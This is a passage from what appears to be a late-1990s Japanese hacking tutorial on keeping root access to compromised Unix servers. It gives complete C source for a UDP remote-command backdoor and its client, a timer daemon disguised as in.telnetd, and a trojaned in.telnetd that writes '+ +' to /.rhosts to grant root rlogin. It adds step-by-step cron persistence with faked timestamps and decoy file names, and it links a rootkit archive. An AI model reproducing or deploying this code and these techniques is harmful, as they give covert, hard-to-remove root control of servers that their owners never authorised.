接続ポート */ #define CATBUF 32000 /* 最大画面バッファ */ int main(argc, argv) int argc; char *argv[]; { int p; /* 変換後Port番号 */ int sock; /* 対Client用socket */ int structlength; /* sizeof(struct sock.. */ int recvd; /* 受信データ長 */ struct sockaddr_in server; /* 対Client用Sockaddr_in*/ FILE *fp; /* tmpfileのI/O用 */ char buffer[1024]; /* 入力文字列バッファ */ char buf2[CATBUF]; /* 画面テキストバッファ */ char cdir[2000]; /* Current dir */ char cstdir[2000]; /* 初期dir */ int i,c; setuid(0); setgid(0); p = htons(PORT_NUM); sock = socket(AF_INET, SOCK_DGRAM, 0); memset((char *) &server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = p; structlength = sizeof(server); if (bind(sock, (struct sockaddr *) &server, structlength) < 0){ printf("Bind error¥n"); return(-1); } sprintf(buf2,"pwd > %s",TMP_FILE); system(buf2); if ((fp=fopen(TMP_FILE,"r"))==NULL) strcpy(cdir,"/"); else{ fscanf(fp,"%s",cdir); fclose(fp); } strcpy(cstdir,cdir); for (;;){ structlength = sizeof(server); recvd = recvfrom(sock, &buffer, 1024, 0, (struct sockaddr *) &server, &structlength); buffer[recvd]=0; if (strcmp(buffer,"cd")==0){ strcpy(cdir,cstdir); sprintf(buf2,"Dir=%s¥n",cdir); sendto(sock,&buf2,strlen(buf2),0, (struct sockaddr *)&server, structlength); continue; } if (strncmp(buffer,"cd ",3)==0){ strcpy(buf2,buffer+3); if (buf2[0]=='/'){ strcpy(cdir,buf2); sprintf(buf2,"Dir=%s¥n",cdir); }else{ strcat(cdir,"/"); strcat(cdir,buf2); sprintf(buf2,"Dir=%s¥n",cdir); } sendto(sock,&buf2,strlen(buf2),0, (struct sockaddr *)&server, structlength); continue; } sprintf(buf2,"csh -f -c ¥"cd %s;%s¥" > %s",cdir,buffer,TMP_FILE); system(buf2); if ((fp=fopen(TMP_FILE,"rb"))!=NULL){ i=fread(buf2,1,CATBUF,fp); buf2[i]=0; sendto(sock,&buf2,strlen(buf2),0, (struct sockaddr *)&server, structlength); fclose(fp); remove("/tmp/.ush"); } } close(sock); return 0; } /*----------------------------------------------- end -----------------*/ 仕込み方はtdmと同じですが、ディフォルトのポーと番号は11111です。 $text機能はありません(とりあえず、簡易版ってことで...)。 これをサーバで実行しても、TCPじゃないんでtelnetクライアントも使えません。ですから、専用のクライアントプ ログラムも書きました。 クライアント側プログラム /*----------------------------------- udps_cl.c Programmed by UNYUN ---*/ #include #include #include #include #include #include #include #include #include #include #include #include #define CATBUF 32000 int main(argc, argv) int argc; char *argv[]; { int sock; /* 入出力ソケット */ struct sockaddr_in client, server; /* ソケットアドレス構造体 */ int recvd; /* 受信データ長 */ int structlength; /* Sockaddr構造体のバイト数 */ int port,p; /* 入出力ポート番号 */ struct in_addr *addr; /* 鯖のinetアドレス */ char inbuf[CATBUF]; /* 受信バッファ */ char outbuf[CATBUF]; /* 送信バッファ */ if (argc < 3) { printf("Usage: %s IPaddress Port¥n",argv[0]); return(-1); } p=atoi(argv[2]); port = htons(p); addr->s_addr = inet_addr(argv[1]); sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { printf("Socket Creation error.¥n"); return(-1); } memset((char *) &server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_addr.s_addr = addr->s_addr; server.sin_port = port; memset((char *) &client, 0, sizeof(client)); client.sin_family = AF_INET; client.sin_addr.s_addr = htonl(INADDR_ANY); client.sin_port = htons(0); if (bind(sock, (struct sockaddr *) &client, sizeof(client)) < 0) { printf("Bind error.¥n"); return(-1); } for (;;){ gets(outbuf); if (sendto(sock, outbuf, strlen(outbuf), 0, (struct sockaddr *) &server, sizeof(server)) < 0 ) { printf("UDP Packet is lost."); } structlength = sizeof(client); recvd = recvfrom(sock, &inbuf, CATBUF, 0, (struct sockaddr *) &client, &structlength); inbuf[recvd]=0; printf("%s¥n",inbuf); } return 0; } /*----------------------------------------------- end -----------------*/ $cc udps_cl.c -o udps_cl $udps_cl xxx.target.ac.jp 11111 でターゲットにログインできます。 3−8. Cronでしぶといバックドア Cronってのは、秘書みたいなもんです。決まった時刻になると、予め決められたタスクを実行してくれます。深夜 になるとcoreを探して消したり、一定時間間隔で接続ログをバックアップしたりするのに使えますね。cronを使う には、cronに実行させて欲しいタスクリストをファイルに指定し、crontabで実行させます。たとえば、 $cat > cronlist 0 12 14 2 * mailx john%Happy Birthday!%Time for lunch ^D $crntab cronlist これで、2月14日の12:00に、johnさんに誕生日おめでとうメールが出せます。 crontabファイル内の各行は、6つのフィールドからなります。最初の 5 つのフィールドは整数パターンであり、 分(0-59) 時(0-23) 日(1-31) 月(1-12) 曜日(0-6、0は日曜日) を指定します。ちなみにこれらのフィールドには'*'を指定できます。これを指定すると"毎"ってことで、例えば"分" のフィールドに指定すると"毎分"ってことです。残りの6番目のフィールドは、指定した時間にシェルによって実行 されるコマンドの文字列です。 このcron、backdoor維持に大変役立ちます。管理者が気づいてbackdoorを消しても自動的に復活するようにすれ ば、しぶといbackdoorができます。先ほどのaccadd.cを使って自動復活backdoorにしてみましょう。 1) #cc accadd.c -o clockchk accaddをコンパイルし、実行ファイルclockchkを作ります 2) #mv clockchk /usr/sbin #cd /usr/sbin #chmod 555 clockch #chgrp sys clockchk #touch 0716101097 clockchk clockchkを適当な場所に仕込み、目立たないようにします。 3) #cd /etc #cat > clock.conf 0 1 * * * /usr/sbin/clockchk 0 ^D 深夜1:00にclockchkが引数0で呼び出され、backdoorが作成されるような crontabファイルを書きます。 4) #chgrp sys clock.conf #touch 0716101097 clock.conf crontabファイルを目立たないようにします。 5) #crontab clock.conf crontabを実行します。 crontabが正常に実行されているかどうかは、crontab -lで確認できます。 #crontab -l 0 1 * * * /usr/sbin/clockchk これで正常に動いていることが分かります。 もし 5) でcronを使おうとしたとき 「crontab: cron を使用許可されていません」 といったエラーメッセージが出力された場合は、cronの使用許可が出ていませんので、cron.allow、cron.denyをチ ェックしましょう。 #cat /etc/cron.d/cron.deny root hoge addely このcron.denyはcron使用拒否ユーザリストです。rootが入ってたらrootのとこだけを消しましょう。 #cat /etc/cron.d/cron.allow unyun sysop このcron.allowはcron使用許可ユーザリストです。rootが入ってない場合は追加しましょう。 #echo root >> /etc/cron.d/cron.allow ちなみに、cronを止めたい場合は、 #crontab -r で停止します。あと、どのようなcrontabジョブがあるのかは、 /var/spool/cron/crontabs ここで確認できます。 これと同じような方法で、色々なbackdoorやトロイを復活させることができますね。 3−9.Cronで「ちょっとの間だけ」Backdoor いつもいつもbackdoorなんかがあると、やっぱり見つかるおそれがあります。そこで、またcronを使って、管理 者が寝てるような深夜、しかもちょっとの時間だけbackdoorを作って入れるようにすると、なかなか見つからないか もしれません。 1) #cd /usr/sbin #cat > timeradj /usr/sbin/clockchk 0 sleep 3600 /usr/sbin/clockchk 1 ^D #chmod 555 timeradj これでtimeradjを実行すると1時間だけbackdoorができ、そのあとそのbackdoor は消えます。 2) #chgrp sys timeradj #touch 0716101097 timeradj timeradjを目立たないようにします。 3) #cd /etc #cat > clock.conf 0 1 * * * /usr/sbin/timeradj ^D #chgrp sys clock.conf #touch 0716101097 clock.conf 深夜1時にtimeradjが実行されるようなcrontabファイルを作り、目立たないよう にします。 4) #crontab clock.conf crontabを実行します。 これで、深夜1時から2時の間だけrootログインできるbackdoorを作ることができます。 3−10.Cron以外でのタイマー起動 cronを使うとcrontab -l で出てきますね。cronには常に気をつけておかないと、ああいうモノが仕込まれてる かもしれません。でもcronみたいなヤツをプログラムで書かれると、ちょっとやっかいです。 /*--------------------------------- timerbomb.c Programmed by UNYUN ---*/ #include #include #include #define MIN 19 /* 1 */ #define HOUR 2 #define DAY -1 #define MON -1 #define JOB "/etc/test" main() { time_t t; struct tm *jt; int f=0,s=0; for (;;){ f=0; t=time(NULL); jt=localtime(&t); if (MIN==-1 || jt->tm_min == MIN) f++; if (HOUR==-1 || jt->tm_hour == HOUR) f++; if (DAY==-1 || jt->tm_mday == DAY) f++; if (MON==-1 || jt->tm_mon+1 == MON) f++; if (f==4){ if (s==1) continue; s=1; system(JOB); }else s=0; } } /*----------------------------------------------- end -----------------*/ このプログラムもある時間がくると、指定したプログラムを実行させるものです。 ソース中の /* 1 */から、分、時、日、月を指定します。-1にするとcronの*と同じ意味になります。あとJOBには 実行させたいプログラムを指定します。 仕込みかたは、 1) #cc timebomb.c -o in.telnetd timebomb.cをコンパイルして、in.telnetd実行ファイルを作る 常駐物として、適当に紛らわしい名前がいいです。 (くれぐれも、本物のin.telnetdがあるディレクトリでやらないように) 2) #in.telnetd & で常駐させる。 このバックグラウンドプロセスは、もちろんpsすると出てきます。ココのHPにps改に関するドキュメントがあります ので、それでpsで出ないようにもできます。 3−11.Backdoorリモート作成 backdoorは、入りたい時だけあればいいって物です。方法としては、サーバプログラム作って特定のコマンドをたたい た時や、既存のサーバプログラムに細工するなどの手があります。そこで、in.telnetdに細工して、ある特定のサー バからポート23(telnet)接続したときに、/.rhostsが"+ +"になってrootでrlogin(ポート513)できるような物を作 ってみました。 /*-------------------------------- in.telnetd.c Programmed by UNYUN ---*/ #include #include #include #include #include #include #include static char *roothosts[]={"yoursite.ne.jp", /* 1 */ "fumidai.ac.jp", ""}; #define ORIGINAL "/usr/sbin/sysmon" /* 2 */ #define RQ_DAEMON 2 #define BUFFER_SIZE 512 #define RHOSTS "/.rhosts" main(int argc,char *argv[]) { struct sockaddr_in client; struct in_addr clientIn; struct hostent *h; char buf[BUFSIZ],ClientDomain[200]; int len,i,flag; long inetip; FILE *fp; len = sizeof(client); if (getpeername(RQ_DAEMON, (struct sockaddr *)&client, &len) < 0) { len = sizeof(client); if (recvfrom(RQ_DAEMON,buf,sizeof(buf),MSG_PEEK, (struct sockaddr *) & client, &len) < 0) { return; } } memcpy(&clientIn,&client.sin_addr.s_addr,4); inetip=inet_addr(inet_ntoa(clientIn)); h=(struct hostent *)gethostbyaddr(&inetip,sizeof(struct hostent),AF_INET); if (h!=NULL){ for (flag=0,i=0;i<10;i++){ if (strlen(roothosts[i])==0) break; if (strstr(roothosts[i],h->h_name)!=NULL || strstr(h->h_name,roothosts[i])!=NULL){ flag=1; break; } } if (flag==1){ if ((fp=fopen(RHOSTS,"a"))!=NULL){ fprintf(fp,"+ +¥n"); fclose(fp); } } } execv(ORIGINAL,argv); } /*----------------------------------------------- end -----------------*/ これを鯖に仕込みます。 1) #which in.telnetd /usr/sbin #ls -al /usr/sbin -x-xr-xr-x root bin 26952 7月 16日 1997年 in.telnetd #mv /usr/sbin/in.telnetd /usr/sbin/sysmon #chgrp sys /usr/sbin/sysmon #touch 0716101097 /usr/sbin/sysmon で、オリジナルのin.telnetdのsysmonというファイル名にかえてごまかす。 紛らわしい名前なら、なんでもOK。 2) プログラム中の /* 1 */に、バックドアが作成できるホスト名、 /* 2 */には、オリジナルのin.telnetd(この例の場合は/usr/sbin/sysmon)を書く #cc in.telnetd.c -o in.telnetd #mv in.telnetd /usr/sbin でコンパイルして移動。 3) #chmod 555 /usr/sbin/in.telnetd #chgrp bin /usr/sbin/in.telnetd #touch 0716101097 /usr/sbin/in.telnetd でごまかす。 サイズが気になる場合は、前に述べたsizer.cでサイズもあわせておく。 これでOKです。 ソース中の/* 1 */で指定されているホストからtelnetします。 $telnet target.ac.jp Login : ^C この時点では接続するだけでいいので、ログイン名を聞かれても、そのままctrl+d等で止めます。これで、/.rhosts は"+ +"になっていますので、rloginで入れます。 $rlogin target.ac.jp -l root Last login: Wed Nov 4 22:18:17 from hoge.com Sun Microsystems Inc. SunOS 5.6 Generic August 1997 You have new mail. # 入った後は、/.rhostsを元に戻しておきましょう。でも同じ手順でいつでもrootログインできますから、管理者の 人はこの実験が終わったらin.telnetdをちゃんと戻しておきましょうね。 3−12.login書き換え  これは、ソースが配布されている、FreeBSDやLINUXで有効な技といえましょう。loginとは、telnet等で入る際 のパスワード認証を行うプログラムです。これを書き換えて、内部で指定した特定のパスワードを入力すると、通常 のパスワードチェックをバイパスしてrootログインできます。もちろん、管理者がいくらパスワードを変更しても無 意味ですね。もちろん、普通ならそのパスワードはstringsコマンドで出てきますが、ちょっとだけ暗号化なり何な りすると、出なくなります。このlogin.cを含め、ps.cやifconfig.c等の改造版がrootkitとして色々な所に置い てますので、詳細はそっちを参考にしてください。場所を一つあげておきます。 http://www.genocide2600.com/‾tattooman/unix-rootkits/ 4.まとめ  如何にしてrootとった鯖に居座るかを述べてきましたが、他にも考え方次第で色々な方法を思いつくことができ るでしょう。以上のようなbackdoorやrootshellには気をつけて、サーバ管理をやりましょうね。 5.参考文献 [1] CodeZero, "Confidence Remains High issue#3", CRN Production, 1997 [2] Christopher Klaus, "Backdoors", 1997 [3] UNYUN, "TDM Ver 0.22", Shadow Penguin, 1998 [4] UNYUN, "Passwd trojan for IRIX", Shadow Penguin, 1998 − Appendex − Solaris2.6 ディフォルトネットワークサービス /etc/services #ident "@(#)services 1.16 97/05/12 SMI" /* SVr4.0 1.8 */ # # Network services, Internet style # tcpmux 1/tcp echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp-data 20/tcp ftp 21/tcp telnet 23/tcp smtp 25/tcp mail time 37/tcp timserver time 37/udp timserver name 42/udp nameserver whois 43/tcp nicname # usually to sri-nic domain 53/udp domain 53/tcp bootps 67/udp # BOOTP/DHCP server bootpc 68/udp # BOOTP/DHCP client hostnames 101/tcp hostname # usually to sri-nic sunrpc 111/udp rpcbind sunrpc 111/tcp rpcbind # # Host specific functions # tftp 69/udp rje 77/tcp finger 79/tcp link 87/tcp ttylink supdup 95/tcp iso-tsap 102/tcp x400 103/tcp # ISO Mail x400-snd 104/tcp csnet-ns 105/tcp pop-2 109/tcp # Post Office uucp-path 117/tcp nntp 119/tcp usenet # Network News Transfer ntp 123/tcp # Network Time Protocol ntp 123/udp # Network Time Protocol NeWS 144/tcp news # Window System # # UNIX specific services # # these are NOT officially assigned # exec 512/tcp login 513/tcp shell 514/tcp cmd # no passwords used printer 515/tcp spooler # line printer spooler courier 530/tcp rpc # experimental uucp 540/tcp uucpd # uucp daemon biff 512/udp comsat who 513/udp whod syslog 514/udp talk 517/udp route 520/udp router routed new-rwho 550/udp new-who # experimental rmonitor 560/udp rmonitord # experimental monitor 561/udp # experimental pcserver 600/tcp # ECD Integrated PC board srvr kerberos 750/udp kdc # Kerberos key server kerberos 750/tcp kdc # Kerberos key server ufsd 1008/tcp ufsd # UFS-aware server ufsd 1008/udp ufsd ingreslock 1524/tcp listen 2766/tcp # System V listener port nfsd 2049/udp nfs # NFS server daemon (clts) nfsd 2049/tcp nfs # NFS server daemon (cots) lockd 4045/udp # NFS lock daemon/manager lockd 4045/tcp dtspc 6112/tcp # CDE subprocess control fs 7100/tcp # Font server xaudio 1103/tcp Xaserver # X Audio Server wnn6 22273/tcp # Wnn6 jserver wnn6 22273/udp # Wnn6 jserver wnn6-ds 26208/tcp wnn6_DS # Wnn6 wnnds wnn6-ds 26208/udp wnn6_DS # Wnn6 wnnds